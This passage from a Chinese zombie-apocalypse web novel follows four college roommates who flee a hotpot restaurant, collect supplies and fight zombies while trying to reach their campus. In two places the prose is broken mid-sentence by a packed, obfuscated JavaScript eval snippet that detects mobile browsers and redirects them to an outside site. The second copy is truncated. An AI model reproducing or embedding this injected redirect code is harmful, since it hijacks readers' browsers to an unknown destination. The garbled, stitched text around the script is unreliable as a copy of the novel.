大叔招呼着妻儿收拾东西，一边在包里翻找车钥匙，一边骂街似的大声高喊：“人都死在眼前了，外面什么人都没有，这不是明摆着出大事了吗！那个杀不死的鬼玩意不是个例，怕是，怕是外面到处是这种东西！” 到处都是？ 姜杞不知道什么时候转身，面向窗外，目光呆滞地落在空无一人的大街上。 玻璃外不知什么时候被溅上星点的血迹，血迹和油烟污渍混在一起，算不上明显，分辨出来后却又显得格外刺眼。 仔细看，对面的校门口，小吃摊上还倒了一具尸体，看穿着是个学生，血沿着车身流到车底，所以不太明显。 “黑……黑T男。。” 身后传来阮青舒颤抖的声音。虽然青年的面孔已经血肉模糊，但阮青舒还是通过他身上的衣服鞋子认出这人的身份。 一切都说的通了。 砸窗户、追公交、消失、街上空无一人……林林总总的事情电光火石般闪过姜杞的脑海。社工实验室里爆发了丧尸，黑T男也被咬了，但还存了些许理智，躲开已经变成丧尸或者……尸体的同学，砸窗户逃出来。 不知过了多久，也许就在刚逃出来后，也许就在跟在她们后面追公交的时候，他彻底变成了一个丧尸，在道路上疯闯，竟然游荡到这里来。 就在黑T男在火锅店吃人的时候，外面同时爆发了大规模的丧尸，也许就是黑T男传播的丧尸病毒！ 店铺玻璃门上有黑T男抓挠留下的血印，还有前台姐姐被啃食飞溅的鲜血、碎肉，自然没有逃命的人往这里躲。 而她们这边自顾不暇，吓得六神无主，也完全没注意到外面的动静。 一切都说得通了，姜杞说不清现在是什么感觉，她身体止不住的战栗，心里却又好像没那么害怕了。 血一阵一阵的往上涌。 “那我们现在怎么办？”不知是谁颤声问道，声音很轻，但还是一下子就把姜杞叫回神来。 她回头，就像丧尸爆发前一刻做的那样，仿佛还能再看到嬉闹着涮火锅的人们。 但回过神来，偌大的店铺竟然只剩她们四个人了。 门口传来关门的声音，侯林源一行四个人刚走出店铺，他们大概是要回主校区。关上门的那一刻张梦娴向这边看了一眼，沉静中透着坚毅，和刚才发疯的模样判若两人。 从事发一直怂到现在的姜杞反而不由自主地深呼吸，握紧了拳头，仿佛控制不住的要发疯。 她们刚才表现得比大四的学长学姐精神状态稳定，只是因为那时还没有被破生活逼到绝境。 “叮铃！叮铃！叮铃！——” 姜杞仰头看向马路对面，主校区期末考现在竟然有了提醒的铃声，明明上一届还没有的。 她像是回到了高中时刻，耳边仿佛响起“考试开始，请考生开始答题”的声音。随着这道声音的响起，世界各地，丧尸全面爆发！所有人就像是被身不由己地卷入一场宏大的无限流游戏副本，任务只有一个，那就是活下去。 回过神来，姜杞听到自己说：“我们回东区。” 5. 我们要回东区！ 阮青舒崩溃地哭喊：“回东区？回东区做什么！外面都空了，现在谁还敢出去？东区这么远，这一路得有多少丧尸，大家直接就死在路上了！” “回东区是最好的选择。”姜杞声音不高，还能听出些许的颤音。 她垂眸深呼一口气，紧张慌乱的情绪被暂时压下去，再抬头时，眼中的一点犹豫已经全变成坚毅。 “必须回去。”她语气坚定地重复了一遍，随即解释道：“东区附近地形复杂，既不是商圈、也没什么居民区。而且地势高，就建在半山上，真有什么危险咱们还能往山里躲。” 细微的声音突然响起，竟然是一直沉默的朱妙妙。 “我赞同姜杞的想法。” 几人齐齐看向她，这样的注视对一向沉默寡言的朱妙妙来说显然是陌生的，她顿了一下，低声补充道：“还有很重要的一点，东区人少。” 姜杞一下子就明白了她的意思。 临近暑假，大部分同学已经离校返家了，还留在学校里的同学们本来就少。而且丧尸爆发是在中午，不少同学像她们一样出来吃饭，老师肯定也不在。这时候回东区反而是最安全的。 “我们在这里也没什么危险啊！”阮青舒发疯，什么也听不进去：“这里就我们几个人，我们就留在火锅店里！这里也有卫生间，后厨一定还有食材，我们还能做饭！就我们几个人，窗户、门一关，没有比这更安全的了！” 姜杞只用一句话就堵住了她的嘴：“这里安全，那别人为什么还都要走？” 店门口因为有和丧尸打斗的痕迹才没有人闯进来，火锅店味道大，现在还有几锅红汤不停地咕噜冒泡，大概就是因为这样才没有继续吸引丧尸。 但现在没有，谁敢说不会什么时候突然闯进来一只丧尸来。 “那么大的玻璃门、落地窗，还没有卷帘门、栅栏这样的保护措施，根本无法保障安全。食材再多也有吃完的时候，留在这里大门一关、窗户一封，我们也就与世隔绝了，除了等待救援没有一点出路。” “末世文里什么时候才能等到救援？大结局！” 姜杞压低了声音，但斩钉截铁的话语中带着强烈的情绪，还情不自禁地挥动手臂，说不清是紧张还是癫狂，仿佛下一秒就要失控。 她察觉到自己濒临崩溃的精神状态，深呼一口气，强迫自己镇定下来。 但李穗已经直接崩溃了：“末世文里的主角还都是机缘巧合或者提前预知，在丧尸爆发前疯狂囤货，一辈子吃喝不愁的那种，然后安安全全的宅在家里当豚鼠！” “我们呢？” 她张开双臂，面部肌肉不受控制地抽搐，眼中闪着诡异的光芒：“我们卖掉了所有的物资，所有的食物，然后离开了安全的宿舍，远离人少的校园，毫无防备地来到喧嚣的闹市！” “深入人群，直面丧尸！” “所以就算回到东区，我们也没有任何吃的。”地上的阮青舒抬起脸来，妆容已经彻底哭花了，像小丑一样，漂亮的眼睛毫无光彩。 “都怪我乱花钱，大手大脚的，没钱跟你们一块出来吃饭，要不然也用不着把东西都卖出去！”她最后一点钱拿去做美甲了，这两天已经吃了好几顿泡面。阮青舒再次忍不住地哭出声，崩溃的把头埋进腿里。 李穗：“也不全是你的责任，嘴馋的那个是我，是我非得来吃火锅。” 她苦笑了两声，刚才的崩溃发疯好像用尽了她的力气，她扶着沙发缓缓坐下，控制不住的流下了眼泪。正要探身抽桌子上的纸巾，忽然不知怎么想的，伸向抽纸的手摸向了刚才被掉落在桌子上的筷子。 她抽出几张纸擦了擦筷子，又擦了擦眼泪，竟然就这样边哭边吃了起来。 朱妙妙面如土灰，站着一动不动，她才是那个真正的罪魁祸首。 是她提出来把零食水果在互助群卖掉，就有钱出来吃饭了。也是她决定把泡面自热米饭这些保质期长的也出掉卖钱，反正在学校里也待不了几天了，不如先搞点现金解解馋。 姜杞：“那这么说我也有责任喽？毕竟你们的每个决定我都没反对。” 其余三人都看向她。 姜杞看上去已经平静下来，跟她以往的精神状态比起来，简直称得上稳定。这样的稳定在姜杞身上格外反常，仔细观察能发现她的手在微微颤抖，表情也很刻意，仿佛在压制着心中的紧张，或者是疯狂。 果然，下一秒姜杞就僵着那张平静的脸破口大骂：“去他妈的，还讨论起是谁的责任了，谁也不能未卜先知，赖不着任谁！” “怪就怪他妈的校领导，非得把考试安排在这个时候，安排在东区！” 李穗哭着哭着就笑出声来，嘴里的贡菜还没咽下去，被这一下笑得掉出来一半。 姜杞和朱妙妙表情复杂地看向她，阮青舒也停下哭泣抬起头来，李穗忙收了笑容，吸溜着把贡菜吃进去，心虚道：“我，我觉得姜杞说的对。” 嘴里的贡菜还没咽下去，她声音含糊不清，牙上沾着菜。 三个人也忍不住地笑起来，李穗也被情绪感染般继续笑起来。几个人像是释放情绪般笑得逐渐疯狂，东倒西歪，喘不上起来。 好在还没有蠢到底，始终记得不能发出声音来。 天不知什么阴下来，整个白石区上空笼罩上一层厚厚的乌云，但还能看到山那边的明朗的晴空。 白石区是老城区，半边沿海，地形崎岖多山地。从主校区的东门门口出发，沿着主干道南行一段距离，十字路口处左转上高架桥，直行至穿山隧道前，就到达东校区的校门口。 这段距离公交车四五分钟，步行的话要从高架桥下走，南行的道路是下坡，转完后是一段平路，最后还有爬很长一段上坡，总计二十分钟。 军训的时候她们走过很多次，每一次都叫苦不迭。 来自大平原的姜杞曾在爬行到快死的时候发誓，终有一天她要把山坡推倒、沟壑填平，让白石区的人民也能感受到平坦道路的美好。 但现在，崎岖的地形，过高的地势，反而成了东区最好的保护 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16203013|181230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 决定回去之后，几个人刚忙抓紧时间收拾东西，做出行的准备。 阮青舒被孟和搀扶着站起来，还差点扭伤了脚裸。她不耐烦地甩了两下脚上的细高跟，又不敢真脱下来。 走两步一阵扎心的疼痛传来，阮青舒忽然蹲下把高跟鞋脱下来，发疯般地拿着鞋在地上猛敲，鞋跟突然齐齐在贴近鞋底的地方齐齐断裂，飞出的鞋跟险些砸到李穗的脸。 李穗咂舌：“好家伙，你这鞋是盗版吧？” 阮青舒满意地打量平坦的鞋底，又开始砸另外一只鞋，脸上带着难以言说的癫狂，她忽然get到了发疯的爽感。 边爽边随口道：“不是，这是姜贺送的，专柜货。高仿的我买过，质量比这好多了。” 李穗不禁翻了个白眼。 姜贺是阮青舒的众多前任之一，是个……是个什么样的人，李穗没记住。 时间紧迫，李穗小心地避开尸体，点着脚尖走在相对干净的地板上，在前台取了几个塑料袋，赶紧回桌子上打包刚才没吃完的剩菜。 于是1230除姜杞外的三个人，一个癫狂地拿着高跟鞋在地板上猛敲，一个拿着塑料袋打包剩菜，还有一个表情严肃，为了找趁手的武器把一大把汤勺漏勺锅铲碗筷摆在桌面上认真挑选。 姜杞的目光在她们身上打转，忽然想到了什么，大口喘着气跑向后厨。 后厨的门被人从里面反锁了，大概是刚出事的时候老板就躲到了这里，才一直不见人影。 姜杞敲了敲门，里面没有任何动静。 她想了想，又回前台找钥匙去。 前台的状况尤其惨烈，青年丧尸已经彻底不能动弹了，大叔离开前嫌他挡路，顺手用板凳推搡着把他扔了出去，也算是对里面的人的一种保护。 地板上鲜血模糊、碎肉飞溅，姜杞小心地捡相对干净的地板下脚，不是恶心害怕，只是不想滑倒。 身后的指针指向两点半左右，离第一次直面丧尸不过只过去了一个多小时，她的内心发生了前所未有的巨大变化。 姜杞感受着从慌乱恐惧，到佯装镇定、伪装平静，到勇敢做出返回东区这一疯狂决定的一系列变化，她就像换了一颗心，说不上是更疯狂，还是更稳定。在一步步跨越尸块，鞋底染血的过程中，姜杞不由自主地把手放在自己左胸下方，感受着心脏的跃动。 在走到前台的那一刻，一只血肉模糊的手臂忽然从桌子底下伸出来，猛地抓住姜杞的脚裸！ 姜杞终于清晰的感受到了自己的心跳。 她的心飞起来，不知道有没有再落下去，因为她的双手瞬间就缩在胸前并起，颤抖着发出一声尖锐爆鸣声！ “啊啊啊——！” 几乎是瞬间，前台桌底钻出一个血肉模糊的身影，抓着姜杞的身子向上窜起！姜杞弓着身子红了眼，猛得一低头，两颗头直接撞在一起！ 她在上，便于发力，咬着牙怒呵，整个人狠狠地把身下的东西按倒。 两个人直接缠斗在一起。 6. 搜刮火锅店【1】 “草！”李穗手里盛着剩菜的塑料袋都没来得及放下就冲了上去，高举着沾满红油的汤勺飞上来，咬着牙，像打棒球般狠狠打向丧尸的头颅。 汤勺大概是两元店买来的，直接被打歪了，几乎没造成任何杀伤力。 但这成功吸引了丧尸的注意。 这个丧尸正是刚才那个被啃食掉半张脸的前台姐姐，阮青舒一眼就通过身上的围裙认出了她，正一瘸一拐猛得向前冲的身体不由自主地慢下来。她左手还高举着一只细高跟，脸上的疯狂还没有退去，但眼中的犹豫已经不言而喻。 但紧随其后的那个身影凶猛无比，在她犹豫间已经冲了上去。 正在一堆汤勺漏勺锅铲碗筷中挑选武器的朱妙妙不知哪来的力气，大呵一声抬起了桌上干净的铁锅，一向乖巧稚嫩的小圆脸上五官乱飞、面目狰狞，手臂上青筋暴起！ 她冲了两步，高喊着“闪开！”，大铁锅被甩飞出去，姜杞和李穗尖叫着堪堪避开。 丧尸姐看到移动的东西只想扑上去，本来那铁锅本来已经失了准头，但她直愣愣地朝铁锅的方向猛地窜过去！ 飞旋的铁锅重重地打在丧尸姐完好的那半边脸上，将脸上仅存的一块好肉也削得皮开肉绽、深可见骨！她本人也被惯性带得摔飞在地。 姜杞赶紧上前捡起飞出去的大铁锅，搬着沉重的铁锅盖在丧尸姐惨不忍睹的脸上，丧尸姐完好的四肢还在疯狂抽搐、挣扎，她费力的脱下外套，在李穗的帮助下把丧尸姐的四肢像杀年猪般捆在一起。 这下她就算有天大的疯劲也使不出来了。 姜杞和李穗蹲在地上大喘气，李穗揪起T恤擦了把汗，碰了碰姜杞的肩膀，问：“我早就想问了，这么热的天你穿个外套干什么？” “这你都不懂？”姜杞喘了口气：“没个东西遮挡着，我就算带手机又有什么用，考试照样抓瞎！” 经验，这都是经验。 朱妙妙刚才用力过猛，她站在原地缓了缓，才上前来帮两人检查身体。 阮青舒像是这才回过神来，忙快步上前来帮忙，只是担心的表情中无可避免地掺杂了一些更为复杂的东西。 “你怎么敢用头撞那个丧尸！万一出点事怎么办，万一那个丧尸比你头硬呢，被抓破一点皮都不知道会怎么样！”阮青舒一边仔细地检查姜杞的身体，一边皱着脸碎碎念，颇有些像丧尸爆发前朱妙妙老妈子般的样子。 她碎碎念了很多，最恐惧的事却没有说出口。 丧尸姐是被黑T男啃掉半张脸后变异的，显然，丧尸可以通过撕咬把正常人变成他们的同类，就是不清楚传播病毒的是血液还是唾液，亦或二者皆有传播能力。 和丧尸缠斗，受一点小伤，就有极高的被传染的可能性。 好在姜杞为了考试专门穿了外套，外套上多有抓痕，身上竟然一点也没有被抓破，倒是有几处淤青，已经变成了紫色。 最难检查的是头皮。 如果有细小的伤口隐藏在发缝间，几乎没可能被检查出来。 但姜杞嘿嘿一笑，把马尾辫拆开，头上掉下来一个黑色的半圆形胶壳，就是前段时间网上很火的高颅顶神器。 “六六六！”李穗惊讶，阮青舒和朱妙妙也真正的松了一口气。 姜杞想了想，又把高颅顶神器戴上了，扎了个丸子头，也算是一点保护措施。 她站起来，打量着还在挣扎的丧尸姐，犹豫了一下，小心地上前抓住丧尸姐的手腕，转瞬又触电般地收了回去。 脉搏在剧烈地跳动！ 几乎是瞬间，丧尸姐开始剧烈挣扎，盖在丧尸姐脸上的大铁锅被掀翻，脖子以人类做不到的角度疯狂扭曲翻转，青白色泛着血丝的眼球险些掉落下来。 姜杞情不自禁地后退了两步，她对上那双已经完全异变的双眼，说不清是什么情绪。 阮青舒于心不忍地别过脸去，姜杞却盯着疯狂挣扎的丧尸姐出神，心中万千思绪翻涌。 忽然她眼睛一脸，抬起头来! “快！我们必须马上走！” 说着她毫不犹豫地踩上脏乱恶心的地板，在满是血污的前台开始翻找东西。 姜杞边找边冷静分析：“前台姐被咬的时候，离考试大概还有一个小时，现在考试开始已经半小时了。她被啃食的这么严重，完全转化为丧尸也花了一个半小时！” “我们来的时候丧尸大概只是零星分散，小规模爆发！现在走，可能大部分被咬的人还没有完全变异，或者被啃食的程度过高，已经丧命。而且街道上这样安静，一部分丧尸大概已经被路人清理。” 朱妙妙喃喃自语：“所以丧尸爆发后的初期，反而是末日里最安全的一段时间。” 姜杞点头：“也正是我们安全返回东区的唯一机会。” 说话间她终于找到了自己要找的东西，拿着钥匙匆忙赶去后厨。 她们在丧尸爆发前卖掉物资，深入闹市，毫无防备地直面丧尸。这都是天注定，只能自认倒霉。 但现在，最后的机会摆在她们面前。 阮青舒和李穗也反应过来，全身的血液涌上大脑，视线模糊，身体都在颤抖。 干裂的嘴唇忽然感受到一点湿润，紧接着咸味从舌尖扩散至整个口腔。阮青舒摸了把湿漉漉的脸，才恍惚发觉刚才视线是被眼泪模糊。 她吸了吸发酸的鼻子，胡乱擦干眼泪，脸上紧绷的肌肉放松下来，眼中终于再次亮起了希望的光芒。 没有人喜欢消沉，沉溺于崩溃。 生活极尽苛刻，但只要有希望，所有人都愿意去追求幸福，为过上好日子而拼命努力。 朱妙妙一直跟在姜杞的身边，李穗也已经追了上去，又是她落在了最后。 但这一次，阮青舒跑起来追赶，她并没有拉下多少，很轻松就跟上了朋友们的脚步。 后厨里几乎还是丧尸爆发前的模样。窗口大开着，主厨兼老板大概就是从这里逃走的，再也没有回来。 谁也不知道他会遇上什么。 这家火锅店是素菜七元自助，洗好的菜都摆放在大厅里，后厨只有整颗整颗还没洗 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半成品方便，但离了冰箱就没法保存，不过生肉加盐腌制成腊肉可以保存很久！李穗由衷生出几分得意，她觉得自己从来没这么聪明过。 朱妙妙挑好了一把大砍刀，对着案板比划了比划，还帮阮青舒磨平了高跟鞋的鞋底。 阮青舒则是一直拿着手机，不知道在翻看什么。 “车……哪里有车？”姜杞面对满屋子的物资没有一拥而上，而是在门口踱着步子，想能不能在哪弄辆车去。 “车？”阮青舒抬起头来，一脸茫然：“我们不扫共享单车回去吗？” 另外三人齐齐向她看去。 李穗瞪大了眼睛：“好家伙，这下谁还分得清你和爱因斯坦！” 姜杞脑海中浮现出这样的画面：几个衣衫褴褛、满身血污的女大学生一人骑一辆小绿车，穿行在没什么人的高架上，车后座绑着大包小包的物资，阳光普照，但不知道什么时候就会有只丧尸从某个角落上冒出来。 太荒谬了，她下意识就觉得不可以，但仔细一想，还真说不出有什么地方不可以。 速度上是有点慢，但如果是和她们步行的速度相比，那快了不知道多少去。 “要是真找不到别的车了，我们就扫校门口的小绿车走！”姜杞艰难地做出了这个决定。主校区门口就有一大排小绿车，好在丧尸爆发的时候不是饭点，大部分小绿车都没被骑走。 天无绝人之路，朱妙妙在关窗户的时候，发现了窗外的小三轮。 阮青舒：“这是人力三轮吗？” 李穗趴在窗户上仔细看了看，摇头道：“电动的，但没电的时候应该也能用脚蹬。” 姜杞摸着下巴思考：“我们可以一个人开三轮车，剩下的三个骑小电驴。开三轮车的那个人主要负责物资运输，其余人轻装简行，负责驱赶丧尸。” 小黄车不重，下车赶走丧尸后，再回来扶起车子继续骑也很轻松。 7. 搜刮火锅店【2】 小三轮就停在不远处的居民楼下，李穗爬上刷碗池，蹲在水龙头旁边，扭曲着腰身以一个刁钻的角度把胳膊伸出窗外。 她手里拿着阮青舒的新手机，录像打开，镜头放大六倍。视频来回拍了两次，几个女生围着镜头看了半天，才终于确定了小三轮的车钥匙没拔。 谢天谢地谢天谢地！1230全宿舍几乎要全跪下来感谢天赐的运气。 “我去把车开过来。”李穗摩拳擦掌，自告奋勇道。她家是农村的，家里就有一辆更大的电动三轮，能载人也能拉货，这样的小三轮对她来说真的不要太简单了。 开三轮不难，重要的是会不会有危险。 姜杞想了想：“四个人一起去。先把要带走的东西打包好，到时候提着东西直接上车，你拉着大家一起跑。有机会就去校门口扫共享单车，没机会就直接回东区！” 她解释道：“电动三轮开起来也有声音，丧尸可能被引开，所以开车和搬运物资一定要同步完成，节省时间。而且四个人一起出门，还可以一个人去开车，剩下的人帮忙打丧尸。” 这样分工明确，机动性也更强。 李穗：“啊？那感觉你们也没必要去扫共享单车了啊，咱直接就一车走呗。” 阮青舒白了她一眼：“你自己多少斤心里没数吗，咱三个人加起来三百多斤，就那一个小三轮，爬坡的时候直接带不动了。” 她仰着一张哭花的脸，对着李穗恐吓道：“直接被丧尸一锅端！” 眼中重燃希望之后，阮青舒像是又重新活过来，整个人都显得有了精神气，哭花的脸上也又能看出些许光彩。 大家都同意了这个计划，就赶忙开始了打包。 “大家抓紧时间，争取五分钟之内搞定！” 不用姜杞提醒，李穗已经疯狂地把冰柜里的东西搬出来，海虾、虾滑、鱼丸牛肉丸、鸭肠、鸭掌，鲜肉、肉卷，午餐肉，还有各种半成品炸货，油条、小酥肉、薯饼等等等等。 其实她也没心思仔细看拿的是什么。 阮青舒兴致冲冲地帮李穗打包这些东西，她找来店里的围裙，想把围裙拼接成一个大包裹。 朱妙妙挑选出好用的刀具后，又翻找出店里的火锅底料，番茄牛油青花椒，菌菇花胶猪肚鸡，姜杞从前台找来大号胶布，把火锅底料缠在一起，最后装进原来装大白菜的巨大号塑料袋里。 弄完后，姜杞被大白菜吸引，准备弄点回去。 朱妙妙就拿着胶带去帮阮青舒和李穗一起打包那些火锅食材。姜杞费力地抱起白菜，还不忘提醒她们：“鲜肉和那些东西分开装哈，火锅食材又不是必需品，要是带不走直接放弃。” 李穗不服：“你抱的大白菜才吃不了几天呢，不压饿，也没什么油水，还老沉。” 姜杞瞪眼：“什么啊，你懂不懂！蔬菜可再生啊，咱们吃完，剩一点根茎泡水里，过段时间又是一颗好白菜！” “白菜根茎泡水里能开花，还真长不出大白菜。”丧尸爆发后就变得沉默寡言的朱妙妙突然开口，李穗刚要得意起来，又听见她说：“不过这确实是一个很好的思路。” 姜杞想了想，赶忙掏出手机开始检索：夏日蔬菜生长周期。 浏览器上到处都是“丧尸爆发！紧急避险！”“某市大型聚会突发”，姜杞用所有的毅力克制自己不去打开那些消息，也没和家人联系。万一家人也正身处险境，贸然打电话只会害了他们。 丧尸爆发后她们刻意没再碰手机，就是怕被手机里的消息吸引，而且大家也没有毅力能克制自己发一条消息就放下手机。 时间紧迫，多耽误一秒钟都多一秒的危险，必须赶快返回东区。 浏览器干扰信息过多，姜杞直接转战小绿书。 “新手友好：豆芽菜，生长周期七到十天；青梗菜、快菜，生长周期十五到二十五天……这都什么玩意。”姜杞骂骂咧咧地翻找，终于找到了认识的东西：“白萝卜，生长周期——六十天？！” “死死死！”姜杞反手关掉手机，目光猛得变得疯狂，先去橱柜里翻找唯一认识的东西：黄豆。 用黄豆发豆芽，简单快速，新鲜蔬菜可以保障她们每日摄入维生素。 姜杞是蔬菜脑袋，她下意识觉得人不吃蔬菜活不下去。 黄豆还没找到，橱柜里的米面先吸引了姜杞的注意。她懊恼地一拍脑袋，怎么把主食忘记了。米面，加上刚才打包的各种火锅底料，基本就能保障每日的最底饮食需求。 半袋面粉扎好口子，一整袋未开封的五常大米被李穗与姜杞合力抬下来，就算所有东西都不带，这两袋米面也必须带走。 朱妙妙背着书包去了前台翻找，打火机、胶带、各种型号的螺丝刀，还有几盒健胃消食片，都直接扔进包里，各个桌上的抽纸也都压紧实，填满背包的角落。她仔细翻找有用的东西，甚至还在前台姐姐挂在墙上的外套里翻出一板布洛芬胶囊和半包卫生巾。 她拿着卫生巾走进后厨：“我们还去不去附近的超市，收集一下药品和日用品？” 毕竟这已经是最后的机会了，如果在学校里迟迟等不到救援，再出来收集物资将十分困难。而且中午超市应该也没什么人，里有地下车库，也许还能找到货运的面包车、大卡车之类，那样安全系数也会大大提高。 搏一搏，单车变摩托。 还不等她解释，姜杞像是想到了非常可怕的事情，脸色忽然大变：“不行，绝对不可以！” 蹲在角落翻找物资的阮青舒被她突然拔高的声音吓了一跳，一个不稳坐在了地上，诧异地看向姜杞。 姜杞后怕地深吸一口气，语速飞快，像是在掩饰自己的颤音：“丧尸爆发前街上那么多人，你们觉得，他们现在都在哪呢？” 李穗没反应过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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放下米面，姜杞的目光不知怎么转移到那两个大电饭煲上。她把米饭盛出来，又把朱妙妙刚从橱柜里翻出来的两袋绿豆、黄豆塞进去，剩下的空间塞了五袋绵白糖，一袋煮银耳粥的□□糖，还有几斤散装的红糖。 糖是战略物资，具体怎么回事姜杞忘了，但先拿上总没错，最起码能补充能量。 “操！”身后忽然传来李穗的叫骂声。 姜杞抱着大电饭煲向她看去，只见李穗一手捂着头，一手提着个透明塑料袋，待看清楚塑料袋里装着的东西后，姜杞也愤怒地骂出声来：“*，真*&黑心。” 那是一大袋止泻药，蒙脱石散、肠炎宁片，李穗刚才拎火锅底料的时候不小心撞到了橱柜上，橱柜顶上就掉下来这袋子东西。 “外卖放止泻药”这种事情在网上闹得沸沸扬扬，1230宿舍众人也是第一次看到证据。 李穗骂骂咧咧地拍了张照片，把止泻药都塞进背包里。 朱妙妙在看到止泻药的时候就放下了手里的众多火锅丸子和肉卷等众多半成品，只提着一大包鲜肉，和姜杞心心念念的新鲜蔬菜大杂烩。 一手蔬菜和鲜肉，一手大砍刀。 8. 谁敢抢我们的小三轮？ 七月初，午后三点，刚过最热的时候。老旧的小区仿佛还在沉睡，天井院里一个人都没有，层叠的叶片在烈日中透着绿光，热风吹动，发出窸窸窣窣的声响。 某些楼道里偶尔闪过一些模糊的黑影，如果靠近了仔细听，阴暗处还能隐约听到类似咀嚼的动静。 一个狭小的破窗被缓缓推开，炽热的阳光照在姜杞脏兮兮的脸上，她抬手遮挡太阳，眯着眼，小心地往窗外扔了一卷卫生纸。 卫生纸落在地上，没有发出太大声响，受惯性影响继续向前滚动，雪白柔软的纸张在水泥地上迅速铺展开，划出一道长长的白线，最后滚进一辆轿车下面。 破窗处又悄无声息地扔出第二卷纸。 这一卷磕碰了一下，转了个弯，最后竟然直直滚进楼道里。 四个女生凑在窗户后面，怦怦跳的心高高提起，姜杞的耳朵贴在窗户上，仍旧是没有什么激烈的动静传出来。 不再犹豫，她给孟和腾开位置，孟和爬上洗菜池，推开窗，小心地跳了下去。 刺眼的阳光晃得孟和几乎睁不开眼，她只感觉周围的温度一下子提高了不少，仿佛身至桑拿房，脚下都没了什么力气。 血液一阵阵地往头上涌，仿佛要喘不上气来，她蹲在破窗下面，低着头无声地喘着粗气，缓缓扶着粗糙的墙面站起来。孟和不敢站直，佝偻着身子扶着墙，屏住呼吸，抬手挡住太阳打量着眼前的一切。 水泥地面并不算平整，还散落着垃圾，中央泛黄的草坪上杂乱地停放着几辆轿车、小电驴，还有老年人的代步车。孟和的视线左右摇晃，终于看到居民楼下停放的那辆小三轮。 随着视线的逐渐清晰，不知何处出来的啃食声，撕咬声也越来越明显地传入孟和的耳朵里。 她浑身颤抖，摸索着接过窗口递下来的抽纸，不知哪来的勇气踮起脚尖猛得朝小三轮的方向冲过去。 垫着脚尖跑。半路逃课，或者点名时偷摸赶回教室的学生都无师自通这个技能，孟和更是个中高手。 姜杞是握着两把菜刀跳下去的，她双手握刀，蹲在窗下看着孟和垫着脚尖一路小跑，心高高悬起，甚至忘了呼吸。当孟和安全的到达车前时，她才终于大喘了一口气，放下刀，起身拎起窗台上缠满胶带的大电饭煲，又捡起一把菜刀，向孟和的方向跑过去。 孟和这时已经检查好三轮车的电量和能否正常启动，电量不太足，百分之五十，转动车钥匙也能正常亮灯。 她没有贸然发动，而是又赶忙握紧手上的尖刀看向姜杞的方向。 以防有丧尸突然向她冲过去。 提着菜刀的姜杞也同样帮孟和盯着后背。 眼见两人都已经成功，朱妙妙帮窗口的阮青舒把物资递过去。 阮青舒蹲在洗菜池上，颤抖着接过物资，在这一刻她都想问朱妙妙愿不愿意两个人一起呆在这里。守着火锅店，守着剩下的物资，等待救援。 但朱妙妙不是孟和，压根不配合一点，甚至没有跟她的眼睛对视，在阮青舒精神马上要崩溃的时候，一直收拾物资准备走的朱妙妙忽然抬头看向她，清亮阳光打在她圆圆的小脸上，浅浅的笑容里带着对未来的希望。 “马上就能回宿舍了。” 这声音温柔轻和，一如丧尸爆发前朱妙妙一贯的模样。阮青舒忽然感觉一切好像都还没有变，这只是期末的一个寻常午后，返回宿舍后就能安全等待救援，一切都能回到过往。 那些灾难，就像夏日海面上的泡沫，像是清晨的噩梦。一切在阮青舒眼中都变得虚妄，她忽得跳下窗台，手里还拎着朱妙妙硬塞过来的物资，激烈的奔跑起来，像是要打破这场噩梦，奔赴她的真实。 “卧槽！有人抢车，你们怎么不去死啊！” “阮青舒你个婊子！” 突然响起的叫骂声如尖刀划过地面般刺耳，打破天井院的寂静，更是直接打碎阮青舒刚建立起的心理防线。 梦被打破，陷入更可怕的噩梦！ 不知哪里传来一声嘶吼，紧接着是激烈的撞击声，还有人类的尖叫。整片居民楼就像一个沉睡的吃人怪物在苏醒过来，仿佛四周的丧尸都在向天井院飞速靠近。 她被吓得僵在原地。 眼前的孟和正尝试开动三轮车，面目狰狞，冲她嘶吼，正在卸身上物资的姜杞脸色也很着急，火锅底料还半耷拉着缠在她身上，就提起菜刀猛地向这边冲过来。 阮青舒觉得应该有什么东西正向自己身后冲过来。 但她一动都不敢动，手里的东西也因为止不住的颤抖而险些落在地上，视线模糊而晃动，阮青舒觉得自己可能在发抖。 “阮青舒你个臭婊子，没了男人你就没法活！” 尖利的叫骂再次响起，声音中带着破罐子破摔的癫狂与幸灾乐祸。阮青舒其实是个脸盲，所以格外注意人身上穿的衣服与声音。 即使已经吓得浑身发抖，她还是立刻听出来这是追求过自己的一个男生。 几乎是瞬间，疑惑、不解、愤怒等等混乱的情绪在阮青舒脑海中炸开，那激动的叫骂声像利刃一样，也像利刃般刺进她的大脑，得以在害怕愤怒癫狂的强烈情绪中保持一丝冰冷的冷静。 她也说不清驱动自己猛得暴起的究竟是冷静，还是恨意。 喉咙里发出一声险些都刺穿她自己耳膜的怒呵，阮青舒没有继续等待舍友的支援，她自己猛得甩动手上的东西，一个转身狠狠砸向身后！ 但没有砸中任何东西。 那只险些扑向她的丧尸已经被手持大砍刀的朱妙妙砍断了手上的筋骨，一只手臂耷拉着发不出任何力气。朱妙妙一刀下去已经提不起沉重的砍刀，她脱力般地靠着墙壁，不断躲闪其实已经没有太大杀伤力的丧尸。 阮青舒松开手上的东西，红着眼冲上前捡起那把大砍刀，弓着身子，直直向丧尸砍去。 甚至比丧尸更不像人。 另一边，姜杞和孟和也已经和丧尸缠斗起来，随着那几声的尖锐叫骂，楼道里率先冲出几个丧尸，紧接着传出更大的动静，仿佛真有什么东西从四面八方赶过来！ 孟和用抽纸挡在自己和丧尸之间，不让他的爪牙触碰到自己，握着尖刀的手忍住战栗一下下地向丧尸的脖颈，青白地冒着黑丝的眼球，还有脸上刺去。 